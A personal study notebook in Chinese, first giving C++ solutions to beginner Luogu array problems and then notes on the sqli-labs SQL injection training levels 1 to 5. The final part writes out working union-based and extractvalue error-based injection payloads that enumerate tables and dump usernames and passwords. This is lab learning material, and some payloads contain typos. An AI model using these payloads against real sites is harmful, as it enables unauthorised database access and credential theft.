【入门4】数组
P2615 [NOIP2015 提高组] 神奇的幻方
有2种解法,一开始想的是模拟:
#include <iostream> #include <cstdio> using namespace std; int n,a[10010][10010],x=1,y,cnt=2;//cnt赋值为2,因为从2开始填数 int main() { scanf("%d",&n);//输入不解释 y=(n+1)/2;//将x,y的值(k-1)坐标赋值为1,(n+1)/2; a[x][y]=1;//将第一行最中间的数赋值为1. int now=n*n; for(int i=2;i<=now;++i) { if(x==1&&y!=n)//模拟第一种情况 { a[n][y+1]=cnt; x=n; y+=1; cnt++; } else if(x!=1&&y==n)//注意有else模拟第二种情况 { a[x-1][1]=cnt; x-=1; y=1; cnt++; } else if(x==1&&y==n)//模拟第三种情况 { a[x+1][y]=cnt; x+=1; cnt++; } else //第四种情况 { if(a[x-1][y+1]==0)//如果k-1右上方还未填数 { a[x-1][y+1]=cnt; x-=1; y+=1; cnt++; } else//反之~ { a[x+1][y]=cnt; x+=1; cnt++; } } } for(int i=1;i<=n;++i)//完美输出 { for(int e=1;e<=n;++e) printf("%d ",a[i][e]); printf("\n"); } return 0;//我爱return 0; }
后面看到大佬还有一种优化的解法orz:
#include<cstdio> using namespace std; int n,a[40][40],x,y; int main(){ scanf("%d",&n); x=1,y=(n+1)/2; for(int i=1;i<=n*n;i++){ a[x][y]=i; if(!a[(x-2+n)%n+1][y%n+1]) x=(x-2+n)%n+1,y=y%n+1; else x=x%n+1;//数学运算 } for(int i=1;i<=n;i++){ for(int j=1;j<=n;j++){ printf("%d ",a[i][j]); } printf("\n"); } }
- !a[(x-2+n)%n+1][y%n+1] 判断右上角是否有数
- x=(x-2+n)%n+1 ←要考虑x一开始为1的情况
P5730 【深基5.例10】显示屏
#include<bits/stdc++.h> using namespace std; int main() { int n; cin>>n; char a[10000]; string ans[10]; for(int i=1;i<=n;i++) { cin>>a[i]; if(a[i]=='1') { ans[1]+="..X."; ans[2]+="..X."; ans[3]+="..X."; ans[4]+="..X."; ans[5]+="..X."; } if(a[i]=='2') { ans[1]+="XXX."; ans[2]+="..X."; ans[3]+="XXX."; ans[4]+="X..."; ans[5]+="XXX."; } if(a[i]=='3') { ans[1]+="XXX."; ans[2]+="..X."; ans[3]+="XXX."; ans[4]+="..X."; ans[5]+="XXX."; } if(a[i]=='4') { ans[1]+="X.X."; ans[2]+="X.X."; ans[3]+="XXX."; ans[4]+="..X."; ans[5]+="..X."; } if(a[i]=='5') { ans[1]+="XXX."; ans[2]+="X..."; ans[3]+="XXX."; ans[4]+="..X."; ans[5]+="XXX."; } if(a[i]=='6') { ans[1]+="XXX."; ans[2]+="X..."; ans[3]+="XXX."; ans[4]+="X.X."; ans[5]+="XXX."; } if(a[i]=='7') { ans[1]+="XXX."; ans[2]+="..X."; ans[3]+="..X."; ans[4]+="..X."; ans[5]+="..X."; } if(a[i]=='8') { ans[1]+="XXX."; ans[2]+="X.X."; ans[3]+="XXX."; ans[4]+="X.X."; ans[5]+="XXX."; } if(a[i]=='9') { ans[1]+="XXX."; ans[2]+="X.X."; ans[3]+="XXX."; ans[4]+="..X."; ans[5]+="XXX."; } if(a[i]=='0') { ans[1]+="XXX."; ans[2]+="X.X."; ans[3]+="X.X."; ans[4]+="X.X."; ans[5]+="XXX."; } } for(int i=1;i<=5;i++) { ans[i]=ans[i].substr(0,ans[i].length()-1); cout<<ans[i]<<endl; } return 0; }
- 思路还是要想到最后结果是每一行输出的,因此要每一行来填充数据点阵
- substr 函数就是复制字符串操作,其形式为 substr(开始位置,复制多长)。我们将原字符串长度用 length 求出,然后减 1,就相当于将原字符串缩短一位,也就是去掉了最后一位(也就是题中的“ . ” ),从而实现了去点的目的。
P5732
主要思路:
#include<bits/stdc++.h>
using namespace std;
int main()
{
int a[100][100] = {0};
int n = 0;
cin >> n;
a[1][1] = 1;
for (int i = 2; i <= n; i++)
{
for (int j = 1; j <= i; j++)
{
a[i][j] = a[i - 1][j - 1] + a[i - 1][j];
}
}
for (int i = 1; i <= n; i++)
{
for (int j =1; j <= i; j++)
{
cout << a[i][j] <<" ";
}
cout << endl;
}
}
P1554
要记录哪个数码出现的次数,就在数组种以哪个数码为下标,然后Array[数码]++来表示使此数码出现的次数+1
#include<bits/stdc++.h>
using namespace std;
int main()
{
int n, m;
cin >> n >> m;
int a[11] = { 0 };
for (int i = n,t=0; i <= m; i++)
{
t = i;
while (t)
{
a[t % 10]++;
t /= 10;
}
}
for (int i = 0; i < 10; i++)
{
cout<<a[i]<<" ";
}
}
P2141 [NOIP2014 普及组] 珠心算测验
这题有个理解误区↓
下面是大佬的题解:
太牛辣根本想不到😪#include<stdio.h> int main() { int math[100001],i,j,n,count=0; bool r[100001]; scanf("%d",&n);//输入n for(i=0;i<n;i++) { scanf("%d",&math[i]); r[math[i]]=true; } for(i=0;i<n-1;i++) {for(j=i+1;j<n;j++) {if(r[math[i]+math[j]]) {count++; r[math[i]+math[j]]=false;} } }printf("%d",count);//输出 return 0; }
巧妙地利用2个数组及下标来同时解决题目答案和坑的问题
SQLI
Less 1-4
注入顺序
1 判断闭合方式
注入分类:
- 字符型
- 数字型
1. 使用 and 1=1 和 and 1=2 来判断 字符型or数字型:
- Less-1 提交and 1=1和提交and 1=2都能正常显示界面,则不可能是数字型注入,即为字符型注入。
- Less-2 提交and 1=2条件无法满足,语句无法被数据库查询到,网页无法正常显示,判断为数字型注入。
2. 使用减法
- 例:提交 ?id=2-1 是否与 提交 ?id=1 显示相同
根据报错判断闭合方式:
Less-1输入?id=1" 报错为 near 1"' 多一个 ' 闭合符为 '
Less-3输入 ?id=1" 报错为 near 1"') 多一个 ') 即闭合符号为 ')
2 union联合注入
-
用 group by (order by) 二分法 判断默认页面数据 列数量
如:?id=1' group by 3 --+ (注意是否报错)
-
用 ?id=-1' union select 1,2,3--+ 查找 回显位
-1在数据库中不存在,因此不会显示出来第一句的内容;
从网页中可以看出2和3为回显位;
-
用 回显位 找出 数据库名称 等信息
?id=0' union select 1,2,database() --+
-
所需要表名信息在 数据库Information_schema→数据表tables→数据列table_name 并过滤在security数据库中的表名
id=0' union select 1,table_name,3 from information_schema.tables where table_schema='security'--+
-
group_concat()确保所有查询信息能放到一行显示出来
id=0' union select 1,group concat(table_name),3 from information_schema.tables where table_schema= security'--+
'security'可以换成database()
-
查找数据库security中数据表users的 列名
在数据库Information_schema数据表columns数据列column_name
?id=0' union select 1,column_name,3 from information_schema.columns --+
?id=-2' union select 1,2,group concat(column_name) from informatlon_schema.columns where table_schema=database() and table_name='users' --+
-
查询最终目标
?id=0' union select 1,group concat(username,'~',password),3 from users --+
插入'~'区分数据
Less 5
报错注入
extractvalue报错注入
?id=1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+
- concat(1,2)拼接1和2
- 0x7e = ~
使用函数substring解决只能返回32个字符串问题
?id=1' union select 1,2,extractvalue(1,concat(0x7e,substring((select group_concat(username,password) from users),25,30))) --+
- 表示从第25个字符往后再显示30个字符